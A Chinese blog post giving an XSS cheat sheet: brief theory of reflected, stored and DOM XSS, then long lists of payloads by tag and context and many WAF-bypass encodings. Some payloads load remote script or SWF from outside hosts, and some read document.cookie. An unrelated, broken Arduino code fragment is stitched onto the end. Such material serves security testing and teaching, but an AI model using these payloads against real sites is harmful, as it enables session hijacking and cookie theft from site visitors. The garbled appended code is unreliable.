XSS跨站脚本

01 XSS简介

跨站脚本(Cross-Site Scripting,XSS)是一种经常出现在Web应用程序中的计算机安全漏洞,是由于Web应用程序对用户的输入过滤不足而产生的。攻击者利用网站漏洞把恶意的脚本代码(通常包括HTML代码和客户端Javascript脚本)注入到网页之中,当其他用户浏览这些网页时,就会执行其中的恶意代码,对受害用户可能采取Cookie资料窃取、会话劫持、钓鱼欺骗等各种攻击。

主要原因:过于信任客户端提交的数据。XSS根源就是没完全过滤客户端提交的数据。

客户端提交的数据本来就是应用所需要的,但是恶意攻击者利用网站对客户端提交数据的信任,Web程序代码中把用户提交的参数未做过滤就直接输出到页面,参数中的特殊字符打破了HTML页面的原有逻辑,黑客可以利用该漏洞执行恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。

解决办法:不信任任何客户端提交的数据,只要是客户端提交的数据就应该先进行相应的过滤处理然后方可进行下一步的操作。

02 XSS分类

反射型xss攻击

又称为非持久性跨站点脚本攻击,它是最常见的类型的XSS。漏洞产生的原因是攻击者注入的数据反映在响应中。一个典型的非持久性XSS包含一个带XSS攻击向量的链接(即每次攻击需要用户的点击)。

正常发送消息:
http://www.test.com/message.php?send=Hello,World!
接收者将会接收信息并显示Hello,Word

非正常发送消息:
http://www.test.com/message.php?send=<script>alert(‘foolish!’)</script>!
接收者接收消息显示的时候将会弹出警告窗口

存贮型xss攻击

又称为持久型跨站点脚本,它一般发生在XSS攻击向量(一般指XSS攻击代码)存储在网站数据库,当一个页面被用户打开的时候执行。每当用户打开浏览器,脚本执行。持久的XSS相比非持久性XSS攻击危害性更大,因为每当用户打开页面,查看内容时脚本将自动执行。

存储型XSS攻击就是将攻击代码存入数据库中,然后客户端打开时就执行这些攻击代码。

正常操作:
用户是提交相应留言信息;将数据存储到数据库;其他用户访问留言板,应用去数据并显示。

非正常操作:
攻击者在value填写<script>alert(‘foolish!’)</script>【或者html其他标签(破坏样式)、一段攻击型代码】;
将数据存储到数据库中;
其他用户取出数据显示的时候,将会执行这些攻击性代码

DOMBasedXSS(基于dom的跨站点脚本攻击)

基于DOM的XSS有时也称为type0XSS。当用户能够通过交互修改浏览器页面中的DOM(DocumentObjectModel)并显示在浏览器上时,就有可能产生这种漏洞,从效果上来说它也是反射型XSS。

通过修改页面的DOM节点形成的XSS,称之为DOMBasedXSS。

前提是易受攻击的网站有一个HTML页面采用不安全的方式从document.location 或document.URL 或 document.referrer获取数据(或者任何其他攻击者可以修改的对象)。

03 渗透流程

观察输入输出点,测试waf过滤情况

"'<script javascript onload src><a href></a>#$%^
'";!-=#$%^&{()}<script javascript data onload href src img input><a href></a>alert(String.fromCharCode(88,83,83));prompt(1);confirm(1)</script>

依据输出位置进行XSS绕过

 

标签之间

闭合标签

模型: <div>[xss]</div>
payload: <script>alert(1)</script>或者<img src=1 onerror=alert(1)>

这些标签有:
<a> <p> <img> <body> <button> <var> <div> <object> <input> <select> <keygen> <frameset>  <embed> <svg> <video> <audio>
       
自带HtmlEncode(转义)功能的标签(RCDATA),这是插入的javascript不会被执行,除非我们闭合掉它们。
<textarea></textarea>
<title></title>
<iframe></iframe>
<noscript></noscript>
<noframes></noframes>
<xmp></xmp>
<plaintext></plaintext>
其他:<math></math>也不行

 

 

在JS标签内

在该位置,空格被过滤,可用/**/代替空格。输出在注释中,通过换行符%0a %0d使其逃逸出来。

  • 不在字符串内

          判断<>/是否被过滤。如果没有,那么直接插入就可以。

<script>
[output]
</script>
payload:</script><script>alert(1)</script>
  • 在字符串中

          此时需要闭合字符串,并保证插入的JS代码符合语法规范。

 

输出在HTML属性内

 

文本属性中

例如:<input value="输出"> 、 <img onload="...[输出]..."> ,再比如 <body style="...[输出]...">

  • 无引号包裹,直接添加新的事件属性。
  • 有引号包括。首先测试引号是否可用,可用则闭合属性之后添加新的事件属性。

HTML的属性,如果被进行HTML实体编码(形如'&#x27),那么HTML会对其进行自动解码,从而我们可以在属性里以HTML实体编码的方式引入任意字符,从而方便我们在事件属性里以JS的方式构造payload。

当然,也可以闭合属性后,然后再执行脚本。

 

 

2.src/href/action/xlink:href/autofocus/content/data 等属性

直接使用伪协议绕过。

如果不行,则测试添加事件进行触发。(首先还是需要闭合)

如:<a href="test.com" onmouseover=alert(1)>ClickHere</a>

3.on*事件中

插入合乎逻辑的JS代码即可。也可以使用伪协议。

常见事件

onload 
onclick
onunload 
onchange 
onsubmit 
onreset 
onselect 
onblur 
onfocus 
onabort 
onkeydown 
onkeypress 
onkeyup 
ondbclick 
onmouseover 
onmousemove 
onmouseout 
onmouseup 
onforminput 
onformchange 
ondrag 
ondrop

 

输出在meta标签

<meta http-equiv="refresh" content="0; url=data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E">

04 具体标签的Payload

  1. a标签

    • javascript伪协议:

      <a href=javascript:alert(2)>
      
    • data协议执行javascript:

      <a href=data:text/html;base64,PHNjcmlwdD5hbGVydCgzKTwvc2NyaXB0Pg==>
      

    • urlencode版本:

      <a href=data:text/html;%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%2829%29%3C%2F%73%63%72%69%70%74%3E>
      
    • 不使用href的另外一种组合来执行js:

      <svg><a xlink:href="javascript:alert(14)"><rect width="1000" height="1000" fill="white"/></a></svg> 
      

      或者:

      <math><a xlink:href=javascript:alert(1)></math>
      
  2. script标签

    • 最简单的测试payload:

      <script>alert(1)</script>
      
    • jsfuck版本:

      <script>alert((+[][+[]]+[])[++[[]][+[]]]+([![]]+[])[++[++[[]][+[]]][+[]]]+([!![]]+[])[++[++[++[[]][+[]]][+[]]][+[]]]+([!![]]+[])[++[[]][+[]]]+([!![]]+[])[+[]])</script>
      

      jsfuck

    • 各种编码版本:

      <script/src=data&colon;text/j\u0061v\u0061&#115&#99&#114&#105&#112&#116,\u0061%6C%65%72%74(/XSS/)></script>
      
      <script>prompt(-[])</script>//不只是alert。prompt和confirm也可以弹窗 
      
      <script>alert(/3/)</script>//可以用"/"来代替单引号和双引号 
      
      <script>alert(String.fromCharCode(49))</script> //我们还可以用char
      
      <script>alert(/7/.source)</script> // ".source"不会影响alert(7)的执行
      
      <script>setTimeout('alert(1)',0)</script> //如果输出是在setTimeout里,我们依然可以直接执行alert(1)
      
  3. button标签

    • event事件实现js调用:

      <button/onclick=alert(1) >M</button>
      
    • html5的新姿势:

      需要交互的版本:

      <form><button formaction=javascript&colon;alert(1)>M
      

      不需要交互的版本:

      <button onfocus=alert(1) autofocus>
      
  4. p标签

    • 如果发现变量输出在p标签中,只要能跳出""就足够了:
      <p/onmouseover=javascript:alert(1); >M</p>
      
  5. img标签

    有些姿势是因为浏览器的不同而不能成功执行的。

    • 只在chrome下有效:

      <img src ?itworksonchrome?\/onerror =alert(1)>  //只在chrome下有效
      
      <img/src/onerror=alert(1)>  //只在chrome下有效
      
    • 其他:

      <img src=x onerror=alert(1)> 
      
      <img src="x:kcf" onerror="alert(1)">
      
  6. body标签

    通过event事件来调用js

    <body onload=alert(1)> 
    <body onscroll=alert(1)><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus>
    
  7. var标签

    <var onmouseover="prompt(1)">M</var>
    
  8. div标签

    <div/onmouseover='alert(1)'>X
    
    <div style="position:absolute;top:0;left:0;width:100%;height:100%" onclick="alert(52)">
    
  9. iframe标签

    有时候我们可以通过实体编码、换行和Tab字符来bypass。我们还可以通过事先在swf文件中插入我们的xss code,然后通过src属性来调用。不过关于flash,只有在crossdomain.xml文件中,allow-access-from domain=”*“允许从外部调用swf时,才可以通过flash来事先xss attack。

    下面的&Tab;为tab字符

    <iframe  src=j&Tab;a&Tab;v&Tab;a&Tab;s&Tab;c&Tab;r&Tab;i&Tab;p&Tab;t&Tab;:a&Tab;l&Tab;e&Tab;r&Tab;t&Tab;%28&Tab;1&Tab;%29></iframe> 
    
    <iframe SRC="http://0x.lv/xss.swf"></iframe> 
    
    <IFRAME SRC="javascript:alert(1);"></IFRAME> 
    
    <iframe/onload=alert(1)></iframe>
    
  10. meta标签

测试时发现昵称,文章标题跑到meta标签中,那么只需要跳出当前属性再添加http-equiv="refresh",就可以构造一个有效地xss payload。还有一些猥琐的思路,就是通过给http-equiv设置set-cookie,进一步重新设置cookie来干一些猥琐的事情。

  <meta http-equiv="refresh" content="0;javascript&colon;alert(1)"/>
  <meta http-equiv="refresh" content="0; url=data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E">
  1. object标签

    和a标签的href属性的玩法是一样的,优点是无需交互。

    <object data=data:text/html;base64,PHNjcmlwdD5hbGVydCgiS0NGIik8L3NjcmlwdD4=></object>
    
  2. marquee标签

    <marquee onstart="alert('1')"></marquee>
    
  3. isindex标签

    在一些只针对属性做了过滤的webapp中,action很有可能是漏网之鱼。

    <isindex type=image src=1 onerror=alert(1)> 
    
    <isindex action=javascript:alert(1) type=image>
    
  4. input标签

    通过event来调用js。和button一样通过autofocus可以达到无需交互即可弹窗的效果。

    <input onfocus=javascript:alert(1) autofocus> 
    
    <input onblur=javascript:alert(1) autofocus><input autofocus>
    
  5. select标签

    <select onfocus=javascript:alert(1) autofocus>
    
  6. textarea标签

    <textarea onfocus=javascript:alert(1) autofocus>
    
  7. keygen标签

    <keygen onfocus=javascript:alert(1) autofocus>
    
  8. frameset标签

    <FRAMESET><FRAME SRC="javascript:alert(1);"></FRAMESET> 
    
  9. embed标签

    <embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgiS0NGIik8L3NjcmlwdD4="></embed> //chrome 
    
    <embed src=javascript:alert(1)> //firefox
    
  10. svg标签

    <svg onload="javascript:alert(1)" xmlns="http://www.w3.org/2000/svg"></svg>
    
    <svg xmlns="http://www.w3.org/2000/svg"><g onload="javascript:alert(1)"></g></svg>  //chrome有效
    
  11. math标签

    <math href="javascript:javascript:alert(1)">CLICKME</math> 
    
    <math><y/xlink:href=javascript:alert(51)>test1 
    
    <math> <maction actiontype="statusline#http://wangnima.com" xlink:href="javascript:alert(49)">CLICKME 
    
  12. video标签

    <video><source onerror="alert(1)"> 
    
    <video src=x onerror=alert(48)>
    

  13. audio标签

    <audio src=x onerror=alert(47)>
    
  14. background属性

    <table background=javascript:alert(1)></table> // 在Opera 10.5和IE6上有效
    

  15. poster属性

    <video poster=javascript:alert(1)//></video> // Opera 10.5以下有效
    
  16. code属性

    <applet code="javascript:confirm(document.cookie);"> // Firefox有效
    
    embed code="http://businessinfo.co.uk/labs/xss/xss.swf" allowscriptaccess=always>
    
  17. expression属性

    <img style="xss:expression(alert(0))"> // IE7以下
    
    <div style="color:rgb(''&#0;x:expression(alert(1))"></div> // IE7以下
    
    <style>#test{x:expression(alert(/XSS/))}</style> // IE7以下
    

05 一些过waf技巧

  • 单次过滤规则绕过:有些规则仅进行一次过滤替换,可以通过双重复写绕过<scr<script>ipt>

  • 大小写绕过:<sCript>

  • alert被过滤,可以尝试prompt和confirm

  • 没有引号和分号:<IMG SRC=javascript:alert('XSS')>

  • 空格被过滤:<img/src=""onerror=alert(2)> <svg/onload=alert(2)></svg>

  • 反引号妙用:

  • 长度限制时: <q/oncut=alert(1)>//在限制长度的地方很有效

  • 单引号及双引号被过滤情况: <script>alert(/jdq/)</script> //用双引号会把引号内的内容单独作为内容 用斜杠,则会连斜杠一起回显

  • javascript伪协议

    <a href="javascript:alert(/test/)">xss</a>
    <iframe src=javascript:alert('xss');height=0 width=0 /><iframe>利用iframe框架标签
    
  • 畸形payload:<IMG """><SCRIPT>alert("XSS")</SCRIPT>">

  • /的妙用:<script>alert(/3/)</script>

  • 括号被过滤,可以使用throw来抛出数据

    <a onmouseover="javascript:window.onerror=alert;throw 1">2</a>

    <img src=x onerror="javascript:window.onerror=alert;throw 1">

    以上两个测试向量在 Chrome 和 IE 上会出现一个 “uncaught” 错误,可以用下面的向量代替(下面向量在FireFox上测试失败)

    <body/onload=javascript:window.onerror=eval;throw'=alert\x281\x29';>

  • 当=();:被过滤时:<svg><script>alert&#40/1/&#41</script>opera 中可以不闭合 <svg><script>alert&#40 1&#41 // Opera可查

  • 过滤某些关键字(如:javascript) 可以在属性中的引号内容中使用空字符、空格、TAB换行、注释、特殊的函数,将代码行隔开。比如在使用<iframe src="javascript:alert(1253)" height=0 width=0 /><iframe>时,可以用回车、Tab键将src中的内容隔开,回车的url编码为%0a,%0b; 拼凑法:① 双写绕过;② 使用js定义变量z=scri, z+pt=script; ③ 两处输出点<scri<!-- 第二处-->pt>;

  • 无法使用href:

    <a onmouseover="alert(document.cookie)">xxs link</a>
    在chrome下,其回补全缺失的引号。因此,也可以这样写:
    <a onmouseover=alert(document.cookie)>xxs link</a>
    
    • 解决限制字符(要求同页面)

      <script>z=document.</script>
      <script>z=z+write(“‘</script>
      <script>z=z+<script</script>
      <script>z=z+src=ht</script>
      <script>z=z+tp://ww’</script>
      <script>z=z+w.shell</script>
      <script>z=z+.net/1.</script>
      <script>z=z+js></sc’</script>
      <script>z=z+ript>)</script>
      <script>eval_r(z)</script>
      

    • 编码:

      • JS函数(如eval,settimeout)还有就是href= action= formaction= location= on*= name= background= poster= src= code=这些地方,可以配合编码。此外,data属性可以base64编码。

        1. js16进制

          <script>eval(js+16进制加密”)</script>
          <script>eval("\x61\x6c\x65\x72\x74\x28\x22\x78\x73\x73\x22\x29")</script>
          编码要执行的语句↓
          Alert(xss)
          
        2. js unicode

          <script>eval("unicode加密")</script>
          //js unicode加密 解决alert()被过滤
          <script>eval("\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0078\u0073\u0073\u0022\u0029")</script>
          
        3. String.fromCharCode函数(不需要任何引号,必须函数内)

          <script>eval(String.fromCharCode编码内容))</script>
          <script>eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,13))</script>
          
        4. jsfuck版本

          <script>alert((+[][+[]]+[])[++[[]][+[]]]+([![]]+[])[++[++[[]][+[]]][+[]]]+([!![]]+[])[++[++[++[[]][+[]]][+[]]][+[]]]+([!![]]+[])[++[[]][+[]]]+([!![]]+[])[+[]])</script>
          
        5. HTML编码:

              <img src='1' onerror='aler&#x0074;(1)'>
          
        6. base64编码(仅data支持)

               <object data="data:text/html;base64,PHNjcmlwdCBzcmM9aHR0cDovL3QuY24vUnE5bjZ6dT48L3NjcmlwdD4="></object>
               格式:
               Data:<mime type>,<encoded data>
               Data //协议
               <mime type> //数据类型
               charset=<charset>  //指定编码
               [;base64] //被指定的编码
               <encoded data> //定义data协议的编码
               特点:不支持IE
          
  • 存在json数据解析 context: <?=json_encode($_GET['x'])?> payload: ?x=<img+src=x+onerror=ö-alert(1)>

  • SVG 标签

    当返回结果在 svg 标签中的时候,会有一个特性 <svg><script>varmyvar="YourInput";</script></svg> YourInput 可控,输入 www.site.com/test.php?var=text";alert(1)// 如果把 “ 编码一些他仍然能够执行: <svg><script>varmyvar="text&quot;;alert(1)//";</script></svg>

const int pwm = 2 ; 
const int adc = 0 ;
void setup()
{
pinMode(pwm,OUTPUT) ;
}
void loop()
{
int adc = analogRead(0) ;
an integer
adc = map(adc, 0, 1023, 0, 255);
analogWrite(pwm,adc) ;
posted @ 2021-10-31 20:28  凇岳  阅读(333)  评论(0)    收藏  举报